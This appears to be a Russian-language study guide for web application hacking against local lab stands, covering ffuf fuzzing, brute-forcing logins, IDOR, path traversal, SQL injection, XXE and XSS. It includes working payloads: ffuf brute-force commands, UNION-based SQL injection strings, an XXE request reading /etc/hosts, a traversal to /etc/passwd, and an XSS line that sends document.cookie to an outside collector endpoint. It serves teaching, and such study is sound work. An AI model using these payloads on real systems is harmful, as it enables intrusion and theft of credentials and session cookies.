Взлом Web приложений
- Фаззинг
- Направления
- Тестовые стенды
- Уязвимости механизмов авторизации
- Уязвимости инъекции команд ОС
- Уязвимости контроля доступа
- Файлы и каталоги
- SQL-инъекции
- Внедрение внешних сущностей XML
- Межсайтовый скриптинг (XSS)
- Burp
- Nikto, nuclei и др.
- HTTP request smuggling
Фаззинг
Fuff
FFUF легко адаптируется к внешнему инструментарию. Подставляет наборы из словарей в соответствующие точки адреса и анализирует ответ.
ffuf -u http://test.ru/FUZZ/ -w dict.txt
Здесь вместо FUZZ будет подставлено каждое значение из dict.txt. По умолчанию GET, затем анализ статуса ответа
Мультисловарь
ffuf -u https://ignitetechnologies.in/W2/W1/ -w dict.txt:W1 -w dns_dict.txt:W2
Общие параметры
| -ic -s | скрывает из вывода баннер fuff и дополнительную информацию, оставляя только найденные пути |
| -e .php | определяет расширение файла, которое мы ищем. |
| -b "" | Установка cookie |
| -p 1 | Задержка 1 секунда перед отправкой следующего запроса |
| -rate 500 | Максимальное количество запросов в секунду |
| -t 1000 | Количество потоков. По умолчанию 40. |
| -o fname -of format |
Выходной файл и формат результата -of html -of csv |
Параметры соответствия / фильтрации
| -mc / -fc | Какие статусы отображать. например -mc 200 / Какие статусы фильтровать |
| -ml / -fl | Соответствие / исключение количеству строк в ответе |
| -mw / -fw | Соответствие / исключение количеству слов в ответе |
| -ms / -fs | Соответствие / исключение размера ответа |
| -mr / -fr | Соответствие / исключение в ответе регулярному выражению |
Можно настроить proxy
Атака clusterbomb - подстановка логинов и паролей из словаря в соответствующие поля запроса для подбора. Идея в том, что в параметре request указывается текст запроса. При помощи burp копируем текст запроса, в нашем случае в brute.txt заменяя значения на переменные
Затем задаем тип атаки -mode и словари для переменных.
ffuf -request brute.txt -request-proto http -mode clusterbomb -w users.txt:HFUZZ -w pass.txt:WFUZZ -mc 200
Типы атак:
| clusterbomb | Полный перебор. Берет все элементы из первого набора и комбинирует со всеми элементами из второго, третьего и т.д. Идеален для перебора логина и пароля. |
| pitchfork | Попарное сопоставление. Берет первый элемент из первого набора, первый из второго и т.д., затем второй из первого, второй из второго. Используется для согласованных данных. |
| sniper | Снайпер (режим по умолчанию). Использует один набор полезных нагрузок для атаки на одну или несколько позиций по очереди. |
| batteringram | Таран. Использует один набор полезных нагрузок и подставляет одно и то же значение во все позиции одновременно в одном запросе. |
| null | "Холостой" режим. Отправляет запрос только один раз, без замены в позициях. Полезные нагрузки не используются. Получить "чистый" ответ от сервера без каких-либо атакующих payloads, чтобы использовать его как базовый для фильтрации. |
| multinull | Многократный "холостой" режим. Отправляет один и тот же базовый запрос несколько раз. Стабильность ответа: Проверить, возвращает ли сервер всегда один и тот же ответ на идентичный запрос. Помогает отсеять случайные отклонения. |
| single | Одиночная замена. Использует один набор полезных нагрузок, но подставляет каждую нагрузку только в первую позицию FUZZ. Последующие позиции FUZZ в запросе игнорируются. Упрощенный вариант Sniper, когда у вас в запросе случайно оказалось несколько слов FUZZ, но вы хотите фаззить только первую позицию. |
| iterator | Нужен файл смарт-загрузки (JSON) Позволяет создать цепочку из других режимов атаки. Например, сначала выполнить clusterbomb для двух наборов, а затем результат передать в sniper для третьего. Очень гибкий, но и сложный в настройке. |
| trampoline | Нужен файл смарт-загрузки (JSON) Позволяет использовать результат одного запроса (например, извлечь токен из ответа) в качестве полезной нагрузки для следующего запроса. Идеален для обхода защиты, требующей выполнения предыдущего шага (например, получения CSRF-токена перед отправкой формы). |
Т е fuff повторяет типы Burb, добавляя свои варианты. Iterator и trampoline являются аналогами скриптов в Burp. Возможно настройка менее удобная.
Список словарей:
- https://github.com/empty-jack/YAWR раздел web -> files and directories -> fuzz.txt
-
SecLists (GitHub) — самый большой и универсальный набор: директории, файлы, пароли, URL, поддомены и т.п. git clone https://github.com/danielmiessler/SecLists.git.
-
Assetnote — Wordlists wordlists.assetnote.io — наборы, регулярно обновляемые для content-/subdomain-discovery. Есть web-interface и репозиторий.
-
commonspeak2-wordlists (Assetnote / GitHub) — wordlists, сгенерированные из больших публичных датасетов (подходит для content discovery и поддоменов). git clone https://github.com/assetnote/commonspeak2-wordlists.
-
FuzzDB (GitHub / проект) — словари атак, шаблоны и предсказуемые пути — полезно для более «потенциально опасных» и специальных путей.
-
PayloadsAllTheThings (GitHub / сайт) — коллекция полезных payload’ов и bypass-паттернов (не просто имена файлов, а полезные полези для инъекций и тестов).
-
DirBuster wordlists (архив/репозитории) — классические wordlists, используемые DirBuster / Dirsearch (хороши для brute-директорий). Есть архивы и отдельные репозитории с наборами.
-
Kali / пакеты wordlists & seclists — Kali поставляет готовые пакеты (seclists, wordlists с rockyou и т.д.), удобно ставить прямо через apt на тестовой машине.
-
rockyou.txt (популярный парольный словарь) — классика для перебора паролей; часто нужен при тестах аутентификации. Доступен в архивах wordlists (Kali) и на mirror-сайтах. weakpass.com
-
Assetnote commonspeak / blog & наборы рекомендаций по поддоменам — гайды и готовые наборы поддоменов (полезно сочетать с автоматикой обновления).
-
Доп. коллекции и агрегаторы (Payloads-and-wordlists, другие GitHub-репы) — небольшие коллекции и специализированные листы (например, payload-наборы для Burp / Intruder). Полезны для конкретных задач.
Направления
Способы атаки
- Как ведет приложение при запросах отсутствующих страниц?
- Список существующих endpoint (Фаззинг)
- Категории уязвимостей, которые возможно эксплуатировать в endpoint
Категории типовых уязвимостей
Типовые уязвимости по механизмам, где они происходят:
- Уязвимости механизмов аутентификации (Authentication Bypass)
- Уязвимости механизмов авторизации (Vulnerabilities of authorization )
- Уязвимости загрузки файлов (File upload vulnerabilities)
- Уязвимости раскрытия информации ( Coordinated Vulnerability Disclosure)
- Уязвимости в системах криптографии (Vulnerabilities in cryptography systems) и др.
Типовые уязвимости по характеру их эксплуатации:
- Уязвимости состояния гонки (race condition)
- Уязвимости некорректной нейтрализации управляющих конструкций при генерации веб-страниц (атаки межсайтового скриптинга) (XSS)
- Уязвимости подделки запроса со стороны сервера (SSRF)
- Уязвимости подделки запроса со стороны клиента (CSRF) и др.
Типовые уязвимости по технологиям, в которых они происходят:
- Уязвимости SQL инъекций (SQL injection)
- Уязвимости внедрения внешних сущностей в XML-документы (XXE )
- Уязвимости инъекций в ORM-запросах (ORM injection)
- Уязвимости инъекций в LDAP-запросах (LDAP Injection)
- Уязвимости инъекции команд или аргументов в запросах к терминальной оболочке ОС (Command Injection)
Тестовые стенды
OWASP Juice Shop Образ docker https://hub.docker.com/r/bkimminich/juice-shop
# Запуск последней версии
docker run -d -p 3000:3000 bkimminich/juice-shop
# Или с конкретной версией
docker run -d -p 3000:3000 bkimminich/juice-shop:v15.1.0
Затем он доступен по адресу http://localhost:3000
Damn Vulnerable Web Application (DVWA) Работает через docker или на локальном веб-сервере. Инструкции по DVWA доступны по адресу https://github.com/ethicalhack3r/DVWA
docker run -d -p 80:80 vulnerables/web-dvwa
Можно запустить отдельный контейнер с MySQL
version: '3'
services:
dvwa:
image: vulnerables/web-dvwa
ports:
- "80:80"
environment:
- MYSQL_HOST=db
- MYSQL_USER=dvwa
- MYSQL_PASSWORD=p@ssw0rd
- MYSQL_DB=dvwa
depends_on:
- db
restart: unless-stopped
db:
image: mysql:5.7
environment:
- MYSQL_ROOT_PASSWORD=root
- MYSQL_DATABASE=dvwa
- MYSQL_USER=dvwa
- MYSQL_PASSWORD=p@ssw0rd
restart: unless-stopped
После запуска по адресу http://localhost нажмите "Create / Reset Database", войдите с учетными данными по умолчанию: Логин: admin Пароль: password В разделе "DVWA Security" установите нужный уровень сложности.
Тестовый стенд от stepik
Уязвимости механизмов авторизации
Классификация по типам проверки подлинности:
- Знание (пароль или ответ на вопрос безопасности, одноразовый код). Факторы знаний.
- Обладание (физический объект - мобильный телефон или маркер безопасности - магнитная карта). Фактор владения.
- Биометрия (персональные данные или модели поведения - конфиденциальная информация). Фактор согласованности.
Механизмы аутентификации уязвимы в случаях:
- Не могут адекватно защитить от атак с применением методов грубой силы.
- Логические ошибки или плохой код в реализации позволяют полностью обойти аутентификацию.
Уязвимости Password-based аутентификации
Пользователи регистрируются для получения учетной записи, или администратор присваивает им учетную запись. Учетная запись связана с уникальным именем пользователя и паролем.
Безопасность сайта будет скомпрометирована, если получить или угадать учетные данные другого пользователя.
Уязвимости в этом механизме возникают по различным причинам, одни из них:
- Возможные brute-force атаки
- Уязвимая защита от brute-force атак
- HTTP-basic аутентификация
Возможные brute-force атаки
Brute-forcing пользовательских имен
Работает если соответствуют узнаваемому шаблону, например, адресу электронной почты. Очень часто логины бывают в формате firstname.lastname@somecompany.com
Иногда высокопривилегированные учетные записи создаются с использованием предсказуемых имен пользователей, таких как admin или administrator.
Brute-forcing паролей
Часто бывают настроены политики паролей с высокой энтропией, которые сложнее взломать одним перебором. Возможные условия:
- Минимального количества символов
- Смеси строчных и заглавных букв
- Как минимум одного специального символа
Но пользователи часто берут пароль, который они могут запомнить, и пытаются использовать его в соответствие с политикой паролей. Например, если не разрешено использование password, пользователи могут попробовать что-нибудь вроде P@ssw0rd или P4$$w0rd!.
Предположение предсказуемых закономерностей означает, что атаки с применением грубой силы часто могут быть гораздо более изощренными и более эффективными, чем простые итерации через всевозможные комбинации символов.
Уязвимая защита от brute-force атак
Для успешной компроментации аккаунта необходимо провести множество неудачных попыток. Защита строится на замедлении скорости перебора пароля. Наиболее распространенные способы предотвращения атак:
- Блокировка учетной записи в случае большого количества неудачных попыток входа.
- Блокировка IP-адреса удаленного пользователя в случае большого количества попыток входа в систему.
Иногда счетчик количества неудачных попыток сбрасывается при успешном входе владельца IP-адреса. Это означает, что злоумышленнику просто придется входить в систему под своей учетной записью каждые несколько попыток, чтобы этот лимит никогда не был достигнут.
В этом случае достаточно просто включать свои собственные учетные данные для входа в систему через регулярные интервалы времени в течение перебора всего словаря, чтобы сделать эту защиту практически бесполезной.
Basic-аутентификация HTTP
Несмотря на старость метода, ее часто используют. Клиент получает маркер аутентификации, который строится путем сцепления имени пользователя и пароля, а также их кодировки в Base64. Этот токен хранится в браузере, который автоматически добавляет его в заголовок авторизации каждого последующего запроса следующим образом:
Причины уязвимости:
- Многократная отправка учетных данных при каждом запросе. Если на веб-сайте также не реализована HSTS, могут быть перехвачены через Man-in-the-Middle.
- Часто не поддерживает защиту от переборов грубой силы. Поскольку токен состоит из статических значений.
- Уязвима к атакам, связанным с сеансом, в частности к CSRF
В некоторых случаях использование уязвимой базовой HTTP-аутентификации может дать злоумышленнику доступ только к, казалось бы, неинтересной странице. Однако, в дополнение к обеспечению дополнительной поверхности атаки, учетные данные, раскрытые таким образом, могут быть повторно использованы в других, более конфиденциальных контекстах.
Уязвимости мультифакторной аутентификации
Проверка биометрических факторов является непрактичной для большинства веб сайтов. Чаще встречается двухфакторная аутентификация (2FA). Для многофакторной аутентификации необходимы различные факторы. Проверка одного фактора разными способами не является двухфакторной аутентификацией.
Одним из таких примеров является 2FA через электронную почту. Хотя пользователь должен предоставить пароль и проверочный код, доступ к коду предполагается на основе того, что пользователь знает учетные данные для входа в свою учетную запись электронной почты. Поэтому фактор проверки подлинности знания просто проверяется дважды.
Обход двухфакторной аутентификации:
- Несовершенная реализация
- Иногда ошибочная логика двухфакторной аутентификации означает, что после того, как пользователь выполнил начальный шаг входа в систему, веб-сайт не может адекватно проверить, что этот же пользователь выполняет второй шаг.
- Отсутствие мер по предотвращению перебора проверочного кода 2FA.
Уязвимости механизмов смены пароля, восстановления пароля, поддержания сессии
Большинство сайтов предоставляют дополнительные функциональные возможности управления учетной записью. Например, изменение и сброс пароля. Эти механизмы также могут добавлять уязвимости.
Разработчики стараются избежать известных уязвимостей на страницах входа. Однако забывают об аналогичные шагах на связанной функциональности. Это особенно важно при возможности пользователя самому создавать учетную запись и имеет доступ к изучению этих дополнительных страниц.
Сторонние механизмы аутентификации, которые также могут быть уязвимы:
- Механизм поддержания сессии «запомнить меня»
- Механизм сброса пароля через E-mail
- Механизм сброса пароля с использованием URL и одноразового токена
- Механизм смены пароля
Дополнительные ссылки
- Серия нерегулярного подкаста с обсуждением основных атак на аутентификацию и угон аккаунтов
- OWASP-памятка по реализации механизмов аутентификации
Тренироваться на упражнениях можно на открытых платформах. Одна из лучших платформ по изучению проблем безопасности веб-приложений: PortSwigger Academy.
- Попрактикуемся в атаках на аутентификацию
Типичные ошибки в BurpSuite
Так же настоятельно рекомендуем ознакомится с различными инструментами, используемыми для брутфорсинга (hydra, medusa, patator и др.):
- https://www.kali.org/tools/hydra/
- https://www.kali.org/tools/medusa/
- https://www.kali.org/tools/patator/
Пример атаки
Атака производилась на стенд stepik Тестовые стенды Задача в поиске строки в формате 32 букв и цифр из кода страницы панели администратора.
Сначала получим список возможных страниц.
ffuf -u http://192.168.1.199:1337/FUZZ/ -w fuzz.txt
Нашли страницу админки. Включаем Burp и находим способ отправки логина и пароля. Сохраняем запрос в payload.txt
Копируем словарь паролей https://github.com/empty-jack/YAWR раздел brute -> passwords -> reallyBest.txt Я переименовал его в passlist.txt
Теперь попробуем clusterbomb. Я столкнулся с интересной проблемой перебора через ffuf. Непонятно, какой пароль подошел. Потом, после размышлений, догнал. Однако это очень-простое-приложение) Burp все-таки удобнее.
ffuf -request payload.txt -request-proto http -mode clusterbomb -w loginlist.txt:HFUZZ -w passlist.txt:WFUZZ -mc 200
А не понял из-за ограничения на статус 200. Не знал, что после корректной авторизации приложение переадресовывает эту сессию на следующую страницу. В реальных задачах потребуется проверка на блокировку, ...
Теперь подбираем одноразовый код аналогично. Надоело ждать перебор через Burp, сделал простой скрипт для формирования списка из 999 чисел и отдал его в ffuf
Уязвимости инъекции команд ОС
Инъекция команд ОС (shell инъекция) позволяет выполнять произвольные команды ОС на сервере, и обычно дает возможность полностью скомпрометировать приложение и все его данные. Возможно использовать также для компрометации других частей инфраструктуры, используя доверительные отношения для перенаправления атаки на другие системы в организации.
Обычно эксплуатация затруднена и требует поиска возможностей выполнения кода через другие уязвимости:
- Уязвимости небезопасной десериализации
- Уязвимости внедрения шаблонов на стороне сервера SSTI
- Уязвимости SQL инъекции
- Уязвимости переполнения буфера / кучи / стека
- Множественные случаи проблем и ошибок реализации, возникающих при работе с запуском процессов и работе с терминальной оболочкой
Здесь нужно понимать что искать.
Уязвимости контроля доступа
Варианты:
- Аутентификация идентифицирует пользователя и подтверждает, что он является тем, за кого себя выдает.
- Управление сеансом идентифицирует, какие последующие HTTP-запросы выполняются тем же самым пользователем.
- Управление доступом определяет, разрешено ли пользователю выполнять действия, которые он пытается выполнить.
Проектирование и управление контролем доступа — это сложная и динамичная проблема, которая применяет деловые, организационные и правовые ограничения к технической реализации. Проектные решения по контролю доступа должны приниматься людьми, а не технологиями, и вероятность ошибок высока.
Пример
После создания заказа в стенде будет перенаправление на страницу с информацией о нем. Адрес этой станицы будет вида http://localhost:1337/receipt.php?orderID=3, где 3 — это номер вашего заказа.
Вы можете попробовать нарушить контроль доступа и обратиться к заказам с другими номерами. Если система уязвима — вы увидите данные о заказе который не принадлежит вам, и там отображаются персональные данные другого пользователя.
Обычно номера заказов идут по возрастающей, следовательно, скорее всего, есть заказы с номером меньше вашего, но нет с номером больше вашего. При запуске сайта первые заказы обычно создают для теста владельцы сайта и если эти заказы не были удалены, то там могут оказаться контактные данные администратора сайта. Таким образом, вы получите доступ к данным, которые вам не предназначались, и обнаружите уязвимость контроля доступа в лабораторном стенде.
Категории контроля доступа
- Вертикальный контроль доступа.
- Горизонтальный контроль доступа.
- Контекстно-зависимый контроль доступа.
Вертикальный контроль доступа
Механизмы, ограничивающие доступ к чувствительным функциям, недоступным другим типам пользователей. Различные типы пользователей имеют доступ к различным функциям приложений. Например, администратор может изменить или удалить учетную запись любого пользователя, в то время как обычный пользователь не имеет доступа к этим действиям. Вертикальные средства контроля доступа могут быть более тонкой реализацией моделей безопасности, разработанных для внедрения бизнес-политик, таких, как разделение обязанностей и наименьших привилегий.
Пример уязвимостей IFLAC
Insecure Function Level Access Control (IFLAC) — это подкатегория уязвимостей контроля доступа. Уязвимый контроль доступа функционального уровня позволяет получить доступ к несанкционированным для роли функциям. Административные функции являются основной целью данного типа атак.
Возникает при публикации API, в котором не проверяется уровень доступа для обращения к функциям.
Пример - возможность обращения к вызову функции удаления пользователя, в то время как доступ в административную панель закрыт. Т.е. пользователь не может открыть кабинет администратора, но может выполнить запрос к методу API, который будет успешно выполнен.
Горизонтальный контроль доступа
Механизмы, ограничивающие доступ к ресурсам для пользователей, которым специально разрешен доступ к этим ресурсам.
Различные пользователи имеют доступ к подмножеству ресурсов одного и того же типа. Например, банковское приложение позволит пользователю просматривать транзакции и осуществлять платежи со своих счетов, но не со счетов любого другого пользователя.
Пример уязвимостей IDOR
Небезопасные прямые ссылки на объекты (IDOR) — это также подкатегория уязвимостей контроля доступа. IDOR возникает, когда приложение использует пользовательский ввод для прямого доступа к объектам, а злоумышленник может модифицировать ввод для получения несанкционированного доступа. Он был популярен своим появлением в OWASP TOP 10 2007. Хотя, это лишь один из примеров многих ошибок в реализации, которые могут привести к обходу контроля доступа.
Рассмотрим сайт, который использует следующий URL для доступа к странице учетной записи клиента, извлекая информацию из внутренней базы данных:
https://insecure-website.com/customer_account?customer_number=132355
Здесь номер клиента используется непосредственно как индекс записи в запросах, которые выполняются на внутренней базе данных. Если другие элементы управления отсутствуют, злоумышленник может просто изменить значение параметра customer_number, минуя элементы управления доступом для просмотра записей других клиентов. Это пример уязвимости IDOR, приводящей к горизонтальному повышению привилегий.
Атакующий может выполнить горизонтальное и вертикальное повышение привилегий, изменяя пользователя на пользователя с дополнительными привилегиями в обход элементов управления доступом. Другие возможности включают в себя, например, использование утечки пароля или изменение параметров после того, как злоумышленник попал на страницу учетной записи пользователя.
Контроль доступа в местах, зависящих от бизнес-логики
Контекстно-зависимые элементы управления доступом ограничивают доступ к функциональности и ресурсам в зависимости от состояния приложения или взаимодействия с ним пользователя, а также препятствуют выполнению пользователем действий в неправильном порядке. Например, веб-сайт розничной торговли может помешать пользователю изменить содержимое корзины после того, как он произвел оплату.
Уязвимости контроля доступа, как правило, можно предотвратить, применяя глубокий подход к защите и следуя следующим принципам:
- Никогда не полагайтесь только на обфускацию для контроля доступа.
- Если ресурс не предназначен для публичного доступа, запретите доступ по умолчанию.
- Везде, где это возможно, используйте единый прикладной механизм для обеспечения контроля доступа.
- На уровне кода сделайте обязательным для разработчиков объявление доступа, разрешенного для каждого ресурса, и запретите доступ по умолчанию.
- Тщательно проверяйте и тестируйте средства контроля доступа, чтобы убедиться, что они работают так, как задумано.
- Регистрируйте сбои контроля доступа и уведомляйте администраторов при необходимости (например, если сбои повторяются).
- Ограничивайте частоту доступа к API и контроллерам для минимизации ущерба от инструментов автоматизации атак.
Файлы и каталоги
Обход файловых путей (англ. Path Traversal или Directory Traversal) – это уязвимость веб-безопасности, позволяющая злоумышленнику читать произвольные файлы на сервере, на котором запущено приложение. Сюда могут входить код приложения и данные, учетные данные для внутренних систем и конфиденциальные файлы операционной системы. В некоторых случаях злоумышленник может записать в произвольные файлы на сервере, что позволит ему изменить данные или поведение приложения, и, в конечном счете, получить полный контроль над сервером.
Появляются из-за отсутствия валидации входных данных пользователя, а также из-за отсутствия разграничения доступа приложения или функции на возможность обращаться к файловым ресурсам всего сервера.
Пример уязвимого кода:
<?php
$template = 'red.php';
if (isset($_COOKIE['TEMPLATE'])) {
$template = $_COOKIE['TEMPLATE'];
}
include "/home/users/phpguru/templates/" . $template;
В данном примере функция include подключает файлы из директории /home/users/phpguru/templates/ , имена которых отправил пользователь в своих Cookie данных на сервер. В таком случае пользователь может изменить отправляемые им данные и добавить в данные отправляемые на сервер строку ../../../../../etc/passwd . В таком случае, сервер выполнит запрос к файлу по адресу /home/users/phpguru/templates/../../../../../etc/passwd , что, в конечном итоге, превратится в обращение к файлу /etc/passwd, и предоставит возможность чтения пользователю системных файлов ОС, к которым он не должен был иметь доступа.
Скрипт сохранения файлов из открытых директории
#!/bin/bash
FILE="${1}"
OUTPUT_FOLDER="${2}"
if [[ ! -s "${FILE}" ]]; then
echo "You must provide a non-empty hosts file as an argument."
exit 1
fi
if [[ -z "${OUTPUT_FOLDER}" ]]; then
OUTPUT_FOLDER="data"
fi
while read -r line; do
url=$(echo "${line}" | xargs)
if [[ -n "${url}" ]]; then
echo "Testing ${url} for Directory indexing..."
if curl -L -s "${url}" | grep -q -e "Index of /" -e "[PARENTDIR]"; then
echo -e "\t -!- Found Directory Indexing page at ${url}"
echo -e "\t -!- Downloading to the \"${OUTPUT_FOLDER}\" folder..."
mkdir -p "${OUTPUT_FOLDER}"
wget -q -r -np -R "index.html*" "${url}" -P "${OUTPUT_FOLDER}"
fi
fi
done < <(cat "${FILE}")
Сканирование директорий, закрытых от индексирования в robots.txt
Можно просканировать закрытые директории, просмотрев коды ответов при обращении:
#!/bin/bash
TARGET_URL="http://172.16.10.12"
ROBOTS_FILE="robots.txt"
while read -r line; do
path=$(echo "${line}" | awk -F'Disallow: ' '{print $2}')
if [[ -n "${path}" ]] then
url="${TARGET_URL}/${path}"
status_code=$(curl -s -o /dev/null -w "%{http_code}" "${url}")
echo "URL: ${url} returned a status code of: ${status_code}"
fi
done < <(curl -s "${TARGET_URL}/${ROBOTS_FILE}")
Инструмент dirsearch
Поиск скрытых путей и файлов на web сервере. Отдельная база.
dirsearch -u http://172.16.10.10:8081/
--max-rate=REQUESTS Ограничение числа запросов.
Охрененный инструмент.
MSF backup_file
Ищет резервные файлы, случайно сохраненные на сервере. auxiliary/scanner/http/backup_file
MSF dir_listing
Список возможных путей. Похоже нужно указывать словарь для проверки.
Получение git репозитория (GitJacking)
Можно при возможности качнуть git проекта.
gitjacker http://172.16.10.11/backup/acme-impact-alliance/ -o acme-impact-alliance-git
Потом git log и другие инструменты поиска например файлов авторизации.
SQL-инъекции
Позволяет вмешиваться в запросы, которые приложение делает к своей базе данных. В частности, могут приводить к:
- Извлечению данных и возможности исследования базы данных
- Модификации информации в базе данных (удалению, добавлению, изменению)
- Обходу логики
- Обходу механизмов авторизации и аутентификации
- Чтению файлов ОС
- Выполнению команд ОС
- Отказу в обслуживании
Показателем наличия инъекции могут являться ошибки, вызванные наличием управляющих символов (' " \).
Комбинирование запросов:
Необходимо в следующем запросе получить такое же количество колонок. Поэтому сначала нужно узнать количество колонок. Используется технология добавления в запрос ORDER BY 1 то есть сортировка по номеру колонки. При ошибке понимаем количество колонок.
Например 8 колонок. Далее при запросе UNION SELECT 1.2.3.4.5.6.7.8 получим какой столбец попадает в какое поле формы. Затем вместо нужной цифры можно подставить нужный запрос,
Стоит ставить символ комментария после строки запроса -- -
http://192.168.1.199:1337/receipt.php?orderID=-1 union select 1,2,3,4,5,6,7,8 -- -
Цифра 5 попала в поле Comments. Поэтому попробуем вывести в это поле название таблицы.
-1 union select 1,2,3,4,table_name,6,7,8 from information_schema.tables -- -
Объединение данных в одно поле возможно сделать за счет group_concat
-1 UNION SELECT 1,2,3,4,GROUP_CONCAT(TABLE_NAME, '-'),6,7,8 FROM INFORMATION_SCHEMA.tables -- -
Столбцы в таблице
-1 UNION SELECT 1,2,3,4,GROUP_CONCAT(COLUMN_NAME, '-'),6,7,8 FROM INFORMATION_SCHEMA.columns WHERE table_name='secret_table' -- -
Получение данных из таблицы
-1 UNION SELECT 1,2,3,4,secret_column,6,7,8 FROM secret_table -- -
Примеры SQL-инъекций:
- Stacked queries — выполнение несколько запросов за один раз.
- Union-based — использование оператора UNION для объединения результатов двух запросов, что позволяет извлекать данные из других таблиц.
- Error-based — инъекция, основанная на ошибке, которая может возникнуть при выполнении запроса, что позволяет получать информацию об уязвимости.
- Boolean blind — используются булевы выражения для проверки наличия или отсутствия определенных данных в базе данных.
- Time-based — инъекция, которая использует задержку выполнения запроса для получения информации о базе данных.
- Out of band — инъекция, которая не взаимодействует с сайтом напрямую, а использует другой канал для передачи данных, например, отправку электронной почты или HTTP-запросов.
Дополнительная информация
- База знаний по возможностям в языке SQL разных СУБД
- Wiki по инъекциям SQL
- PayloadsAllTheThings - SQL injection
- PayloadsAllTheThings - NoSQL injection
- OWASP NoSQL injection slides
- PortSwigger - SQL injection cheat sheet
- SQLMap - Инструмент автоматизации
Практика:
- Навыки работы с SQL
- Для начинающих
- Для того, чтобы попрактиковаться в более сложных кейсах (Ищем "SQL" в названии задач)
Внедрение внешних сущностей XML
Внешние сущности XML — это тип пользовательских сущностей XML, определенные значения которых загружаются вне DTD (англ. Document Type Definition), в котором они объявлены. Внешние сущности особенно интересны с точки зрения безопасности, так как они позволяют определить сущность, основываясь на содержимом пути к файлу или URL.
XML External Entity, XXE – уязвимость, позволяющая вмешиваться в обработку XML-данных приложения. Часто она позволяет просматривать файлы на сервере приложений, а также взаимодействовать с любыми внутренними или внешними системами, к которым имеет доступ само приложение. Вариации атак:
- Получения файлов, где определяется внешняя сущность, содержащая содержимое файла, и возвращается в ответе приложения.
- Выполнения SSRF атак, где внешняя сущность определяется на основе URL на внутреннюю систему.
- Использование слепой инъекции XXE с отправкой данных за рамки клиент-серверного приложения, где конфиденциальные данные передаются с сервера приложения на систему, контролируемую злоумышленником.
- Использование слепого XXE для получения данных с помощью сообщений об ошибках, где злоумышленник может вызвать сообщение об ошибке разбора, содержащее конфиденциальные данные.
- Проведения атак отказа в обслуживании.
Приложения, использующие формат XML для передачи данных, часто используют стандартную библиотеку или платформенный API для обработки XML-данных на сервере. Спецификация XML содержит различные потенциально опасные функции, и стандартные парсеры поддерживают эти функции, даже если они обычно не используются приложением.
Для выполнения атаки XXE-инъекции для считывания произвольного файла сервера необходимо изменить представленный XML в следующей последовательности:
- Ввести или отредактировать элемент DOCTYPE, который определяет внешнюю сущность, содержащую путь к файлу.
- Отредактировать значение данных в XML, которое возвращается в ответе приложения, чтобы использовать определенную внешнюю сущность.
Для корректного использования нужно изучить используемые опасные конструкции XML.
POST /order.php HTTP/1.1
Host: 192.168.1.199:1337
Content-Length: 255
X-Requested-With: XMLHttpRequest
Accept-Language: ru-RU,ru;q=0.9
Accept: application/xml, text/xml, */*; q=0.01
Content-Type: application/xml
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Origin: http://192.168.1.199:1337
Referer: http://192.168.1.199:1337/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE order [<!ENTITY file SYSTEM 'file:///etc/hosts'>]>
<order>
<name>first</name>
<email>first@ya.ru</email>
<phone>+79528486357</phone>
<comment>&file;</comment>
<productID>Beginer</productID>
<price>5</price>
</order>
Дополнительная информация
- Больше об XML сущностях
- PayloadsAllTheThings - XXE Injection
- Обзор уязвимости XXE и ее вариаций
- Практика на платформе portswigger
Межсайтовый скриптинг (XSS)
Уязвимость, позволяющая скомпрометировать взаимодействие пользователей с уязвимым приложением. Она позволяет обходить политику одного источника (англ. Same Origin Policy, SOP), которая предназначена для разделения различных веб сайтов друг от друга.
Политика одного источника (Same Origin Policy, SOP) предотвращает взаимодействие скриптов с содержимым страниц, происходящих с разных источников, чтобы обеспечить безопасное выполнение кода на веб-странице.
XSS позволяет маскироваться под пользователя-жертву, выполнять любые действия, которые может выполнить пользователь, и получать доступ к любым данным пользователя.
Если пользователь-жертва имеет привилегированный доступ внутри приложения, то атакующий может получить полный контроль над всей функциональностью и данными приложения.
Межсайтовый скриптинг работает путем манипулирования уязвимым веб-сайтом, чтобы он возвращал пользователям вредоносный JavaScript. Когда вредоносный код выполняется внутри браузера жертвы, злоумышленник может полностью скомпрометировать их взаимодействие с приложением.
Т е в данные добавляется модифицированный JS код, админ входит на эту страницу и вуаля.
Для проверки на наличие XSS уязвимости нужно добавить в поле данных управляющий символ html " > и т д. Если он остается в сохраненных данных - значит это возможно. Затем кодируется JS и все ок).
Один из наиболее распространенных сценариев развития атаки в этой ситуации – передача Cookie посетителя атакующему. Чтобы принять запрос, воспользуемся ресурсом https://requestbin.com/. Используем указанный в поле Endpoint URL для получения Cookie:
+79117238383"><img src=x onerror=fetch('https://ADDR.x.pipedream.net/?'+document.cookie) />
где ADDR – адрес вашего endpoint.
Основные типы XSS-атак
- Отраженный XSS, где вредоносный скрипт происходит из текущего HTTP запроса.
- Хранимый XSS, где вредоносный скрипт приходит из хранилища данных веб-сайта.
- Dom-based XSS, где уязвимость существует в клиентском коде, а не в коде сервера.
Отраженный межсайтовый скриптинг (XSS) возникает, когда приложение получает данные в HTTP-запросе и включает эти данные непосредственно в ответ небезопасным способом.
Хранимый XSS
Сохраненный межсайтовый скриптинг (скриптинг второго порядка или постоянный XSS) возникает, когда приложение получает данные из недоверенного источника и включает эти данные в свои последующие HTTP-ответы небезопасным способом. Например комментарии.
Dom-based XSS
XSS-уязвимости, основанные на DOM, обычно возникают, когда JavaScript берет данные из подконтрольного злоумышленнику источника, например, URL, и передает их «раковине» (англ. sink), поддерживающей динамическое выполнение кода, например, eval() или innerHTML. Это позволяет злоумышленникам выполнять вредоносный JavaScript, что обычно приводит к взлому учетных записей других пользователей.
Для реализации XSS-атаки, основанной на DOM, необходимо поместить данные в источник таким образом, чтобы они распространились на поглотитель и вызвали выполнение произвольного JavaScript.
Наиболее распространенным источником для DOM XSS является URL, доступ к которому обычно осуществляется с помощью объекта window.location. Злоумышленник может построить ссылку для отправки жертвы на уязвимую страницу с полезной нагрузкой в строке запроса и фрагментами URL. В некоторых случаях, например, при нацеливании на страницу 404 или на сайт, работающий на PHP, полезная нагрузка также может быть помещена в путь.
Доп. информация
- Простейший пример уязвимости
- Наиболее объемный набор лабораторных работ с хорошими кейсами: практики portswigger.
- Механизмы обеспечения безопасности клиентской части
- Основополагающие механизмы в работе браузера:
Burp
Открытые курсы по Burp от разработчиков.
Структура сканера
Процесс прохождения пакета и точки настройки
